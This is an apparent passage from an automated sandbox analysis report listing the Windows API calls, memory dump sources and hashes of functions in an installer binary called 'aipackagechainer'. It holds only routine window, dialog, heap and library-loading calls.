                                                                                                                                                                                                                                                    • Part of subcall function 00248410: GetDlgItem.USER32(?,00000002), ref: 00248430
                                                                                                                                                                                                                                                    • Part of subcall function 00248410: GetWindowRect.USER32(00000000,?), ref: 00248446
                                                                                                                                                                                                                                                    • Part of subcall function 00248410: ShowWindow.USER32(00000000,00000000,?,?,?,?,0024710A), ref: 0024845F
                                                                                                                                                                                                                                                    • Part of subcall function 00248410: InvalidateRect.USER32(00000000,00000000,00000001,?,?,?,?,0024710A), ref: 0024846A
                                                                                                                                                                                                                                                    • Part of subcall function 00248410: GetDlgItem.USER32(00000000,000003E9), ref: 0024847C
                                                                                                                                                                                                                                                    • Part of subcall function 00248410: GetWindowRect.USER32(00000000,?), ref: 00248492
                                                                                                                                                                                                                                                    • Part of subcall function 00248410: SetWindowPos.USER32(00000000,00000000,?,?,?,?,00000206,?,?,?,?,0024710A), ref: 002484D5
                                                                                                                                                                                                                                                    • Part of subcall function 00248840: GetWindowLongW.USER32(?,000000F0), ref: 00248887
                                                                                                                                                                                                                                                    • Part of subcall function 00248840: GetParent.USER32 ref: 0024889D
                                                                                                                                                                                                                                                    • Part of subcall function 00248840: GetWindowRect.USER32(?,?), ref: 002488A8
                                                                                                                                                                                                                                                    • Part of subcall function 00248840: GetParent.USER32(?), ref: 002488B0
                                                                                                                                                                                                                                                    • Part of subcall function 00248840: GetClientRect.USER32(00000000,?), ref: 002488BF
                                                                                                                                                                                                                                                    • Part of subcall function 00248840: GetClientRect.USER32(?,?), ref: 002488C8
                                                                                                                                                                                                                                                    • Part of subcall function 00248840: MapWindowPoints.USER32(00000002,00000000,?,00000002), ref: 002488D4
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: Window$Rect$ClientItemMessageParentSend$EnableInvalidateLongPointsShow
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 3283878059-0
                                                                                                                                                                                                                                                  • Opcode ID: c352ea428cef51c9cba8d4e24f00dafe07286e1d99f8b9d64acee4ac6237494a
                                                                                                                                                                                                                                                  • Instruction ID: 6a187d1eaed78d981b9918db1dd6baecda7f10cdf1ad138dca2813eed0dc7519
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: c352ea428cef51c9cba8d4e24f00dafe07286e1d99f8b9d64acee4ac6237494a
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: D211047662010A5BDB24AF08EC45BEA7794EB54320F004267FD09C7291DBB6EC72DBE5
                                                                                                                                                                                                                                                  Function 00257990 Relevance: 3.0, APIs: 2, Instructions: 41windowCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                    • Part of subcall function 00237530: LoadLibraryW.KERNEL32(ComCtl32.dll,4938EAB5,?,00000008,00000008), ref: 0023756E
                                                                                                                                                                                                                                                    • Part of subcall function 00237530: GetProcAddress.KERNEL32(00000000,LoadIconMetric), ref: 00237591
                                                                                                                                                                                                                                                    • Part of subcall function 00237530: FreeLibrary.KERNEL32(00000000), ref: 0023760F
                                                                                                                                                                                                                                                    • Part of subcall function 00237530: GetSystemMetrics.USER32(0000000C), ref: 002375CC
                                                                                                                                                                                                                                                    • Part of subcall function 00237530: GetSystemMetrics.USER32(0000000B), ref: 002375E2
                                                                                                                                                                                                                                                    • Part of subcall function 00237530: LoadImageW.USER32(?,?,00000001,00000000,00000000,?), ref: 002375F1
                                                                                                                                                                                                                                                  • SendMessageW.USER32(?,00000080,00000001,00000000), ref: 002579D4
                                                                                                                                                                                                                                                  • SendMessageW.USER32(?,00000080,00000000,00000000), ref: 002579DF
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: LibraryLoadMessageMetricsSendSystem$AddressFreeImageProc
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 852476325-0
                                                                                                                                                                                                                                                  • Opcode ID: d494c93d93f526304fc01ee1df9fb886f3ee9a22c8ff6c149d7dd19c9e0e0524
                                                                                                                                                                                                                                                  • Instruction ID: b587a79a6a29c58f6b66d913dcf226e25c5145ba10ae75ac82526d2fd02e0e20
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: d494c93d93f526304fc01ee1df9fb886f3ee9a22c8ff6c149d7dd19c9e0e0524
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: E6F0A07279431C37FA2021592C07F27B64DDB81B64F104266FE98AB2D2ECC27C1102D8
                                                                                                                                                                                                                                                  Function 00233CC0 Relevance: 2.6, APIs: 2, Instructions: 68COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • MultiByteToWideChar.KERNEL32(00000003,00000000,?,000000FF,00000000,00000000,?,?,?,00240ECD,002BED9C,?,?,?,?,00000000), ref: 00233CD8
                                                                                                                                                                                                                                                  • MultiByteToWideChar.KERNEL32(00000003,00000000,?,000000FF,4938EAB5,-00000001,?,?,?,00240ECD,002BED9C,?,?,?,?,00000000), ref: 00233D0A
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: ByteCharMultiWide
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 626452242-0
                                                                                                                                                                                                                                                  • Opcode ID: 1a903fd68e90ea4dfb6fe08fb402de91b5819773ff1501e7a84a32e7cf2877c0
                                                                                                                                                                                                                                                  • Instruction ID: c12256571dc89b9beab9672169db29ffcc4c242cb5c8088a77651e4333a51bb6
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 1a903fd68e90ea4dfb6fe08fb402de91b5819773ff1501e7a84a32e7cf2877c0
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: B5014931311116AFD610DB48EC99F5EB755FF94361F208129F215EB2D0CF706E228BA0
                                                                                                                                                                                                                                                  Function 00229960 Relevance: 1.6, APIs: 1, Instructions: 65COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • CoInitializeEx.OLE32(00000000,00000000,4938EAB5,?,?,0029FB9D,000000FF), ref: 00229994
                                                                                                                                                                                                                                                    • Part of subcall function 002273D0: SHGetFolderPathW.SHELL32(00000000,00000025,00000000,00000000,?), ref: 002274D3
                                                                                                                                                                                                                                                    • Part of subcall function 0027B22D: GetCurrentThreadId.KERNEL32 ref: 0027B239
                                                                                                                                                                                                                                                    • Part of subcall function 0027B22D: __Mtx_unlock.LIBCPMT ref: 0027B278
                                                                                                                                                                                                                                                    • Part of subcall function 0027B22D: __Cnd_broadcast.LIBCPMT ref: 0027B280
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: Cnd_broadcastCurrentFolderInitializeMtx_unlockPathThread
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 3188518339-0
                                                                                                                                                                                                                                                  • Opcode ID: 1e7f4aca82859a0907451d2a318ce596b847e1726af1eb0542bc81c6cd874470
                                                                                                                                                                                                                                                  • Instruction ID: a0dcd00ec19ca124cf446a88216d6c4691377e29a40e513bfd74958148ee5c04
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 1e7f4aca82859a0907451d2a318ce596b847e1726af1eb0542bc81c6cd874470
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 0021E131A14714AFD720DFA4EC46F5AB7E8EF08720F10856AFD66DB690D770A810CB90
                                                                                                                                                                                                                                                  Function 0024C460 Relevance: 1.5, APIs: 1, Instructions: 46registryCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • RegOpenKeyExA.KERNELBASE(80000001,?,00000000,00020019,0000000C), ref: 0024C4D2
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: Open
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 71445658-0
                                                                                                                                                                                                                                                  • Opcode ID: eb4ff4e3b22ce47af4e43a05880bf2ea41791ef2d2df3cd1c654fd704b3fe898
                                                                                                                                                                                                                                                  • Instruction ID: 2b00a19148ba7a41fc742ae2bfa7cd1a5a153cd4a7ecf3921aae949adf528ae7
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: eb4ff4e3b22ce47af4e43a05880bf2ea41791ef2d2df3cd1c654fd704b3fe898
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 44019EB1900648AFE710DF48DC05B9AFBF8FB05720F10826AE81497391E7B56D10CB90
                                                                                                                                                                                                                                                  Function 0024FDD1 Relevance: 1.5, APIs: 1, Instructions: 46COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • EndDialog.USER32(?,00000002), ref: 0024FE03
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: Dialog
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 1120787796-0
                                                                                                                                                                                                                                                  • Opcode ID: ce1041a3838897a1b5848b863e32b8c56afde6f00f6f375db09ed041ab0da2fd
                                                                                                                                                                                                                                                  • Instruction ID: 60f60477cd84d047b10701e8b03b23151d1d3a2dbcf5b043d2543ceacaf82fd8
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: ce1041a3838897a1b5848b863e32b8c56afde6f00f6f375db09ed041ab0da2fd
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: F9F04F70515301EFDB389F24EA09F66BBA1FF45709F15896CE496076A1CB71E812CF41
                                                                                                                                                                                                                                                  Function 0028DCB7 Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMONLIBRARYCODE
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • RtlAllocateHeap.NTDLL(00000008,?,00000000,?,0028D174,00000001,00000364,00000000,00000006,000000FF,?,00286E8D,00000000,?,?,0024F90D), ref: 0028DCF8
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: AllocateHeap
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 1279760036-0
                                                                                                                                                                                                                                                  • Opcode ID: 8891d74fcc6f3e9721c5fec45aba06f3a89fb0503e79c21e3a2c060fb8a87d49
                                                                                                                                                                                                                                                  • Instruction ID: 4dc6d4c536d676be9f83bf8a832d01dac3e53ba7e303e425f3741b0c9e0e872c
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 8891d74fcc6f3e9721c5fec45aba06f3a89fb0503e79c21e3a2c060fb8a87d49
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: DFF0B43A62752566DF213F36DC05F5A3748AB81770B158012E814EA1C1CEB0EC24D7A0
                                                                                                                                                                                                                                                  Function 00213200 Relevance: 1.5, APIs: 1, Instructions: 34memoryCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                    • Part of subcall function 0027DD5E: RaiseException.KERNEL32(E06D7363,00000001,00000003,?,?,?,80004005,4938EAB5,?,00000000), ref: 0027DDBE
                                                                                                                                                                                                                                                  • RtlAllocateHeap.NTDLL(00000000,00000000,00000000,4938EAB5,00000000,0029B9F0,000000FF,?,?,002D3B80,?,0024D90C,80004005,4938EAB5,?,00000000), ref: 0021324A
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: AllocateExceptionHeapRaise
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 3789339297-0
                                                                                                                                                                                                                                                  • Opcode ID: e08c01ebbf2b6387c6a592dd5928cc961f5f45668996d5cb706d99ad67424ede
                                                                                                                                                                                                                                                  • Instruction ID: 4f4d8c6d4992ea0b710589de973756a8e75d2bcec231734890b0de3be9eb4d9e
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: e08c01ebbf2b6387c6a592dd5928cc961f5f45668996d5cb706d99ad67424ede
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 5BF0A731644648FFCB01DF54EC06F56FBA8FB09B10F00862EF91992691DB36A920CA44
                                                                                                                                                                                                                                                  Function 00279820 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • ___delayLoadHelper2@8.DELAYIMP ref: 00279817
                                                                                                                                                                                                                                                    • Part of subcall function 00279B6C: DloadAcquireSectionWriteAccess.DELAYIMP ref: 00279B77
                                                                                                                                                                                                                                                    • Part of subcall function 00279B6C: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00279BDF
                                                                                                                                                                                                                                                    • Part of subcall function 00279B6C: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00279BF0
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 697777088-0
                                                                                                                                                                                                                                                  • Opcode ID: 3a20f9cc6be9d92917a7c85d5da8117a1f8f14115c13b3f4e13b805e284dc0ba
                                                                                                                                                                                                                                                  • Instruction ID: 06baeb07caebe3efb2d08cd22266a415bc19c9534adc7463b2403d1abe457f08
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 3a20f9cc6be9d92917a7c85d5da8117a1f8f14115c13b3f4e13b805e284dc0ba
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 7DB0129127C300AD3104A1886C03C37015CC1C2F10330C61BF00DC1240F4A45CF10432
                                                                                                                                                                                                                                                  Function 0027982A Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • ___delayLoadHelper2@8.DELAYIMP ref: 00279817
                                                                                                                                                                                                                                                    • Part of subcall function 00279B6C: DloadAcquireSectionWriteAccess.DELAYIMP ref: 00279B77
                                                                                                                                                                                                                                                    • Part of subcall function 00279B6C: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00279BDF
                                                                                                                                                                                                                                                    • Part of subcall function 00279B6C: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00279BF0
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 697777088-0
                                                                                                                                                                                                                                                  • Opcode ID: 214d87c6d6a93ffeb6de27894095331f7ab68f6e6e8ba21e9b94cbceabe9a993
                                                                                                                                                                                                                                                  • Instruction ID: b1b326c5f5bc46d38c1a8860f083923cf5cede58309f5b531feaf76dbc1274ae
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 214d87c6d6a93ffeb6de27894095331f7ab68f6e6e8ba21e9b94cbceabe9a993
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 09B0129127C200AD3104A1882C03C37022CC1C2F10330C51BF40DC1280F4A45CF10432
                                                                                                                                                                                                                                                  Function 00279834 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • ___delayLoadHelper2@8.DELAYIMP ref: 00279817
                                                                                                                                                                                                                                                    • Part of subcall function 00279B6C: DloadAcquireSectionWriteAccess.DELAYIMP ref: 00279B77
                                                                                                                                                                                                                                                    • Part of subcall function 00279B6C: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00279BDF
                                                                                                                                                                                                                                                    • Part of subcall function 00279B6C: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00279BF0
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 697777088-0
                                                                                                                                                                                                                                                  • Opcode ID: a858167e4930ab67363dddd245c765d098fcfa35ff0ee5561b444fcd628d66f5
                                                                                                                                                                                                                                                  • Instruction ID: 8bf51b57813d7e1ef36af972b9c831b62d19b2670aab25555d304c7632c7011e
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: a858167e4930ab67363dddd245c765d098fcfa35ff0ee5561b444fcd628d66f5
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: E7B0129127C200AD3104A1882C03C37010CC1C2F10330DD1BF40DC1280F4A45CF14532
                                                                                                                                                                                                                                                  Function 0027983E Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • ___delayLoadHelper2@8.DELAYIMP ref: 00279817
                                                                                                                                                                                                                                                    • Part of subcall function 00279B6C: DloadAcquireSectionWriteAccess.DELAYIMP ref: 00279B77
                                                                                                                                                                                                                                                    • Part of subcall function 00279B6C: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00279BDF
                                                                                                                                                                                                                                                    • Part of subcall function 00279B6C: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00279BF0
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 697777088-0
                                                                                                                                                                                                                                                  • Opcode ID: 404b91de906de57deebeb3c099cbcdd428d856d0c19ab2306b71e38f599041bf
                                                                                                                                                                                                                                                  • Instruction ID: 87b53a31d08f99ea3efcdd362daeaeecbbbe435fb35fd566be1723b76642ea20
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 404b91de906de57deebeb3c099cbcdd428d856d0c19ab2306b71e38f599041bf
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 77B0129137C200AD3104A1886D03C37010CC1C2F10330D91BF40DC1244F4A45CF20532
                                                                                                                                                                                                                                                  Function 00279848 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • ___delayLoadHelper2@8.DELAYIMP ref: 00279817
                                                                                                                                                                                                                                                    • Part of subcall function 00279B6C: DloadAcquireSectionWriteAccess.DELAYIMP ref: 00279B77
